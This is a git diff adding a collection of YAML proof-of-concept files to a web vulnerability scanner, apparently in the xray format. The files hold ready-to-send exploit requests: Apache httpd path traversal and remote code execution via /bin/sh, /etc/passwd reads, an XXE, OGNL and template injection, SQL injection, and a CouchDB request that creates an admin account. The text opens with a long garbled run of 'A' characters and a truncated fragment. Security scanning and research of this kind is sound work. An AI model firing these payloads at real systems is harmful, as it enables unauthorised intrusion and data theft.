AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets + follow_redirects: false + expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html" +detail: + author: Jarcis-cy(https://github.com/Jarcis-cy) + links: + - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438 diff --git a/webscan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml b/webscan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml new file mode 100644 index 0000000..35618a6 --- /dev/null +++ b/webscan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml @@ -0,0 +1,16 @@ +name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal +groups: + cgibin: + - method: GET + path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + icons: + - method: GET + path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: JingLing(https://github.com/shmilylty) + links: + - https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ \ No newline at end of file diff --git a/webscan/pocs/apache-httpd-cve-2021-41773-rce.yml b/webscan/pocs/apache-httpd-cve-2021-41773-rce.yml new file mode 100644 index 0000000..f6ebbba --- /dev/null +++ b/webscan/pocs/apache-httpd-cve-2021-41773-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-apache-httpd-cve-2021-41773-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh + body: echo;expr {{r1}} + {{r2}} + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://nvd.nist.gov/vuln/detail/CVE-2021-41773 diff --git a/webscan/pocs/apache-kylin-unauth-cve-2020-13937.yml b/webscan/pocs/apache-kylin-unauth-cve-2020-13937.yml new file mode 100644 index 0000000..61dfc3b --- /dev/null +++ b/webscan/pocs/apache-kylin-unauth-cve-2020-13937.yml @@ -0,0 +1,10 @@ +name: poc-yaml-apache-kylin-unauth-cve-2020-13937 +rules: + - method: GET + path: /kylin/api/admin/config + expression: | + response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url") +detail: + author: JingLing(github.com/shmilylty) + links: + - https://s.tencent.com/research/bsafe/1156.html diff --git a/webscan/pocs/apache-nifi-api-unauthorized-access.yml b/webscan/pocs/apache-nifi-api-unauthorized-access.yml new file mode 100644 index 0000000..59e2537 --- /dev/null +++ b/webscan/pocs/apache-nifi-api-unauthorized-access.yml @@ -0,0 +1,12 @@ +name: poc-yaml-apache-nifi-api-unauthorized-access +manual: true +transport: http +rules: + - method: GET + path: /nifi-api/flow/current-user + follow_redirects: false + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true") +detail: + author: wulalalaaa(https://github.com/wulalalaaa) + links: + - https://nifi.apache.org/docs/nifi-docs/rest-api/index.html diff --git a/webscan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml b/webscan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml new file mode 100644 index 0000000..50b63f9 --- /dev/null +++ b/webscan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml @@ -0,0 +1,15 @@ +name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe +rules: + - method: POST + path: /webtools/control/xmlrpc + headers: + Content-Type: application/xml + body: >- + ]>&disclose; + follow_redirects: false + expression: > + response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: su(https://suzzz112113.github.io/#blog) + links: + - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py diff --git a/webscan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml b/webscan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml new file mode 100644 index 0000000..fe264a4 --- /dev/null +++ b/webscan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml @@ -0,0 +1,19 @@ +name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization +set: + rand: randomInt(200000000, 210000000) +rules: + - method: POST + path: /webtools/control/xmlrpc + headers: + Content-Type: application/xml + body: >- + {{rand}}dwisiswant0 + follow_redirects: false + expression: > + response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand))) +detail: + author: su(https://suzzz112113.github.io/#blog) + links: + - https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E + - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb diff --git a/webscan/pocs/aspcms-backend-leak.yml b/webscan/pocs/aspcms-backend-leak.yml new file mode 100644 index 0000000..1a4b888 --- /dev/null +++ b/webscan/pocs/aspcms-backend-leak.yml @@ -0,0 +1,16 @@ +name: poc-yaml-aspcms-backend-leak +rules: + - method: GET + path: /plug/oem/AspCms_OEMFun.asp + expression: | + response.status == 200 && "")) && response.body.bcontains(b"citrix") +detail: + author: JingLing(https://hackfun.org/) + links: + - https://support.citrix.com/article/CTX276688 + - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/ + - https://dmaasland.github.io/posts/citrix.html diff --git a/webscan/pocs/citrix-cve-2020-8193-unauthorized.yml b/webscan/pocs/citrix-cve-2020-8193-unauthorized.yml new file mode 100644 index 0000000..3f02963 --- /dev/null +++ b/webscan/pocs/citrix-cve-2020-8193-unauthorized.yml @@ -0,0 +1,20 @@ +name: poc-yaml-citrix-cve-2020-8193-unauthorized +set: + user: randomLowercase(8) + pass: randomLowercase(8) +rules: + - method: POST + path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1" + headers: + Content-Type: application/xml + X-NITRO-USER: '{{user}}' + X-NITRO-PASS: '{{pass}}' + body: + follow_redirects: false + expression: > + response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"])) +detail: + author: bufsnake(https://github.com/bufsnake) + links: + - https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py + - https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html diff --git a/webscan/pocs/citrix-xenmobile-cve-2020-8209.yml b/webscan/pocs/citrix-xenmobile-cve-2020-8209.yml new file mode 100644 index 0000000..2b00ade --- /dev/null +++ b/webscan/pocs/citrix-xenmobile-cve-2020-8209.yml @@ -0,0 +1,11 @@ +name: poc-yaml-citrix-xenmobile-cve-2020-8209 +rules: + - method: GET + path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://nvd.nist.gov/vuln/detail/CVE-2020-8209 diff --git a/webscan/pocs/coldfusion-cve-2010-2861-lfi.yml b/webscan/pocs/coldfusion-cve-2010-2861-lfi.yml new file mode 100644 index 0000000..e5982f4 --- /dev/null +++ b/webscan/pocs/coldfusion-cve-2010-2861-lfi.yml @@ -0,0 +1,13 @@ +name: poc-yaml-coldfusion-cve-2010-2861-lfi +rules: + - method: GET + path: >- + /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=") +detail: + version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions + author: sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861 \ No newline at end of file diff --git a/webscan/pocs/confluence-cve-2015-8399.yml b/webscan/pocs/confluence-cve-2015-8399.yml new file mode 100644 index 0000000..5fa729a --- /dev/null +++ b/webscan/pocs/confluence-cve-2015-8399.yml @@ -0,0 +1,10 @@ +name: poc-yaml-confluence-cve-2015-8399 +rules: + - method: GET + path: /spaces/viewdefaultdecorator.action?decoratorName + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator") +detail: + author: whynot(https://github.com/notwhy) + links: + - https://www.anquanke.com/vul/id/1150798 \ No newline at end of file diff --git a/webscan/pocs/confluence-cve-2019-3396-lfi.yml b/webscan/pocs/confluence-cve-2019-3396-lfi.yml new file mode 100644 index 0000000..3a5b901 --- /dev/null +++ b/webscan/pocs/confluence-cve-2019-3396-lfi.yml @@ -0,0 +1,17 @@ +name: poc-yaml-confluence-cve-2019-3396-lfi +rules: + - method: POST + path: /rest/tinymce/1/macro/preview + headers: + Content-Type: "application/json" + Host: localhost + Referer: http://localhost + body: >- + {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"contextConfigLocation") +detail: + author: sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396 \ No newline at end of file diff --git a/webscan/pocs/confluence-cve-2021-26084.yml b/webscan/pocs/confluence-cve-2021-26084.yml new file mode 100644 index 0000000..412edda --- /dev/null +++ b/webscan/pocs/confluence-cve-2021-26084.yml @@ -0,0 +1,15 @@ +name: poc-yaml-confluence-cve-2021-26084 +set: + r1: randomInt(100000, 999999) + r2: randomInt(100000, 999999) +rules: + - method: POST + path: /pages/createpage-entervariables.action?SpaceKey=x + body: | + queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027 + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: Loneyer(https://github.com/Loneyers) + links: + - https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html diff --git a/webscan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml b/webscan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml new file mode 100644 index 0000000..1dcb230 --- /dev/null +++ b/webscan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml @@ -0,0 +1,12 @@ +name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read +set: + rand: randomLowercase(6) +rules: + - method: GET + path: /s/{{rand}}/_/;/WEB-INF/web.xml + follow_redirects: false + expression: response.status == 200 && response.body.bcontains(b"Confluence") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig") +detail: + author: wulalalaaa(https://github.com/wulalalaaa) + links: + - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html diff --git a/webscan/pocs/consul-rexec-rce.yml b/webscan/pocs/consul-rexec-rce.yml new file mode 100644 index 0000000..4ab8c55 --- /dev/null +++ b/webscan/pocs/consul-rexec-rce.yml @@ -0,0 +1,10 @@ +name: poc-yaml-consul-rexec-rce +rules: + - method: GET + path: /v1/agent/self + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false") +detail: + author: imlonghao(https://imlonghao.com/) + links: + - https://www.exploit-db.com/exploits/46073 diff --git a/webscan/pocs/consul-service-rce.yml b/webscan/pocs/consul-service-rce.yml new file mode 100644 index 0000000..8426cac --- /dev/null +++ b/webscan/pocs/consul-service-rce.yml @@ -0,0 +1,10 @@ +name: poc-yaml-consul-service-rce +rules: + - method: GET + path: /v1/agent/self + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true") +detail: + author: imlonghao(https://imlonghao.com/) + links: + - https://www.exploit-db.com/exploits/46074 diff --git a/webscan/pocs/coremail-cnvd-2019-16798.yml b/webscan/pocs/coremail-cnvd-2019-16798.yml new file mode 100644 index 0000000..097f5fa --- /dev/null +++ b/webscan/pocs/coremail-cnvd-2019-16798.yml @@ -0,0 +1,12 @@ +name: poc-yaml-coremail-cnvd-2019-16798 +rules: + - method: GET + path: >- + /mailsms/s?func=ADMIN:appState&dumpConfig=/ + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(bytes("")) +detail: + author: cc_ci(https://github.com/cc8ci) + links: + - https://www.secpulse.com/archives/107611.html \ No newline at end of file diff --git a/webscan/pocs/couchcms-cve-2018-7662.yml b/webscan/pocs/couchcms-cve-2018-7662.yml new file mode 100644 index 0000000..ed63055 --- /dev/null +++ b/webscan/pocs/couchcms-cve-2018-7662.yml @@ -0,0 +1,16 @@ +name: poc-yaml-couchcms-cve-2018-7662 +rules: + - method: GET + path: /includes/mysql2i/mysql2i.func.php + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"mysql2i.func.php on line 10") && response.body.bcontains(b"Fatal error: Cannot redeclare mysql_affected_rows() in") + - method: GET + path: /addons/phpmailer/phpmailer.php + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"phpmailer.php on line 10") && response.body.bcontains(b"Fatal error: Call to a menber function add_event_listener() on a non-object in") +detail: + author: we1x4n(https://we1x4n.github.io/) + links: + - https://github.com/CouchCMS/CouchCMS/issues/46 diff --git a/webscan/pocs/couchdb-cve-2017-12635.yml b/webscan/pocs/couchdb-cve-2017-12635.yml new file mode 100644 index 0000000..a17528b --- /dev/null +++ b/webscan/pocs/couchdb-cve-2017-12635.yml @@ -0,0 +1,24 @@ +name: poc-yaml-couchdb-cve-2017-12635 +set: + r1: randomLowercase(32) +rules: + - method: PUT + path: '/_users/org.couchdb.user:{{r1}}' + headers: + Content-Type: application/json + Content-Length: '192' + body: |- + { + "type": "user", + "name": "{{r1}}", + "roles": ["_admin"], + "roles": [], + "password": "fVyuyAECgYEAhgJzkPO1sTV1Dvs5bvls4tyVAsLy2I7wHKWJvJdDUpox2TnCMFT9" + } + follow_redirects: false + expression: | + response.status == 201 && response.body.bcontains(bytes("org.couchdb.user:" + r1)) +detail: + author: j4ckzh0u(https://github.com/j4ckzh0u) + links: + - https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635 diff --git a/webscan/pocs/couchdb-unauth.yml b/webscan/pocs/couchdb-unauth.yml new file mode 100644 index 0000000..a5ba367 --- /dev/null +++ b/webscan/pocs/couchdb-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-couchdb-unauth +rules: + - method: GET + path: /_config + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"httpd_design_handlers") && response.body.bcontains(b"external_manager") && response.body.bcontains(b"replicator_manager") +detail: + author: FiveAourThe(https://github.com/FiveAourThe) + links: + - https://www.seebug.org/vuldb/ssvid-91597 \ No newline at end of file diff --git a/webscan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml b/webscan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml new file mode 100644 index 0000000..31b723d --- /dev/null +++ b/webscan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml @@ -0,0 +1,20 @@ +name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +groups: + poc1: + - method: GET + path: /actions/seomatic/meta-container/meta-link-container/?uri={{{{r1}}*'{{r2}}'}} + expression: | + response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2))) + poc2: + - method: GET + path: /actions/seomatic/meta-container/all-meta-containers?uri={{{{r1}}*'{{r2}}'}} + expression: | + response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: x1n9Qi8 + links: + - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-181 + - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757 diff --git a/webscan/pocs/datang-ac-default-password-cnvd-2021-04128.yml b/webscan/pocs/datang-ac-default-password-cnvd-2021-04128.yml new file mode 100644 index 0000000..0b36ab8 --- /dev/null +++ b/webscan/pocs/datang-ac-default-password-cnvd-2021-04128.yml @@ -0,0 +1,14 @@ +name: poc-yaml-datang-ac-default-password-cnvd-2021-04128 +rules: + - method: POST + path: /login.cgi + follow_redirects: false + body: >- + user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95 + expression: | + response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_") + +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128 \ No newline at end of file diff --git a/webscan/pocs/dedecms-carbuyaction-fileinclude.yml b/webscan/pocs/dedecms-carbuyaction-fileinclude.yml new file mode 100644 index 0000000..13d7c1a --- /dev/null +++ b/webscan/pocs/dedecms-carbuyaction-fileinclude.yml @@ -0,0 +1,22 @@ +name: poc-yaml-dedecms-carbuyaction-fileinclude +rules: + - method: GET + path: /plus/carbuyaction.php?dopost=return&code=../../ + headers: + Cookie: code=alipay + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /plus/carbuyaction.php?dopost=return&code=../../ + headers: + Cookie: code=cod + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes("Cod::respond()")) + +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "DedeCmsV5.x" + links: + - https://www.cnblogs.com/milantgh/p/3615986.html diff --git a/webscan/pocs/dedecms-cve-2018-6910.yml b/webscan/pocs/dedecms-cve-2018-6910.yml new file mode 100644 index 0000000..850d8a3 --- /dev/null +++ b/webscan/pocs/dedecms-cve-2018-6910.yml @@ -0,0 +1,10 @@ +name: poc-yaml-dedecms-cve-2018-6910 +rules: + - method: GET + path: /include/downmix.inc.php + expression: | + response.status == 200 && response.body.bcontains(bytes("Fatal error")) && response.body.bcontains(bytes("downmix.inc.php")) && response.body.bcontains(bytes("Call to undefined function helper()")) +detail: + author: PickledFish(https://github.com/PickledFish) + links: + - https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md \ No newline at end of file diff --git a/webscan/pocs/dedecms-cve-2018-7700-rce.yml b/webscan/pocs/dedecms-cve-2018-7700-rce.yml new file mode 100644 index 0000000..1674407 --- /dev/null +++ b/webscan/pocs/dedecms-cve-2018-7700-rce.yml @@ -0,0 +1,15 @@ +name: poc-yaml-dedecms-cve-2018-7700-rce +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: GET + path: >- + /tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(r)))) +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "V5.7SP2正式版(2018-01-09)" + links: + - https://xz.aliyun.com/t/2224 diff --git a/webscan/pocs/dedecms-guestbook-sqli.yml b/webscan/pocs/dedecms-guestbook-sqli.yml new file mode 100644 index 0000000..b2817d1 --- /dev/null +++ b/webscan/pocs/dedecms-guestbook-sqli.yml @@ -0,0 +1,26 @@ +name: poc-yaml-dedecms-guestbook-sqli +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /plus/guestbook.php + follow_redirects: true + expression: | + response.status == 200 + search: action=admin&id=(?P\d{1,20}) + - method: GET + path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email=' + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /plus/guestbook.php + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(r)))) + +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "5.7" + links: + - https://blog.csdn.net/god_7z1/article/details/8180454 diff --git a/webscan/pocs/dedecms-membergroup-sqli.yml b/webscan/pocs/dedecms-membergroup-sqli.yml new file mode 100644 index 0000000..a6c9b33 --- /dev/null +++ b/webscan/pocs/dedecms-membergroup-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-dedecms-membergroup-sqli +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: >- + /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{r}})+--+@`'` + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(r)))) +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "5.6,5.7" + links: + - http://www.dedeyuan.com/xueyuan/wenti/1244.html diff --git a/webscan/pocs/dedecms-url-redirection.yml b/webscan/pocs/dedecms-url-redirection.yml new file mode 100644 index 0000000..5c8bf67 --- /dev/null +++ b/webscan/pocs/dedecms-url-redirection.yml @@ -0,0 +1,13 @@ +name: poc-yaml-dedecms-url-redirection +rules: + - method: GET + path: >- + /plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t + follow_redirects: false + expression: > + response.status == 302 && response.headers["location"] == "https://www.du1x3r12.com" +detail: + author: cc_ci(https://github.com/cc8ci) + Affected Version: "V5.7 sp1" + links: + - https://blog.csdn.net/ystyaoshengting/article/details/82734888 \ No newline at end of file diff --git a/webscan/pocs/discuz-ml3x-cnvd-2019-22239.yml b/webscan/pocs/discuz-ml3x-cnvd-2019-22239.yml new file mode 100644 index 0000000..4445bce --- /dev/null +++ b/webscan/pocs/discuz-ml3x-cnvd-2019-22239.yml @@ -0,0 +1,22 @@ +name: poc-yaml-discuz-ml3x-cnvd-2019-22239 +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /forum.php + follow_redirects: false + expression: | + response.status == 200 + search: cookiepre = '(?P[\w_]+)' + - method: GET + path: /forum.php + headers: + Cookie: "{{token}}language=sc'.print(md5({{r1}})).'" + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(r1)))) +detail: + author: X.Yang + Discuz_version: Discuz!ML 3.x + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239 diff --git a/webscan/pocs/discuz-v72-sqli.yml b/webscan/pocs/discuz-v72-sqli.yml new file mode 100644 index 0000000..4f0c259 --- /dev/null +++ b/webscan/pocs/discuz-v72-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-discuz-v72-sqli +rules: + - method: GET + path: >- + /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed055") && response.body.bcontains(b"Discuz! info: MySQL Query Error") +detail: + author: leezp + Affected Version: "discuz <=v7.2" + vuln_url: "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20" + links: + - https://blog.csdn.net/weixin_40709439/article/details/82780606 diff --git a/webscan/pocs/discuz-wechat-plugins-unauth.yml b/webscan/pocs/discuz-wechat-plugins-unauth.yml new file mode 100644 index 0000000..af05c8a --- /dev/null +++ b/webscan/pocs/discuz-wechat-plugins-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-discuz-wechat-plugins-unauth +rules: + - method: GET + path: '/plugin.php?id=wechat:wechat&ac=wxregister' + follow_redirects: false + expression: | + response.status == 302 && "set-cookie" in response.headers && response.headers["set-cookie"].contains("auth") && "location" in response.headers && response.headers["location"].contains("wsq.discuz.com") +detail: + author: JrD + links: + - 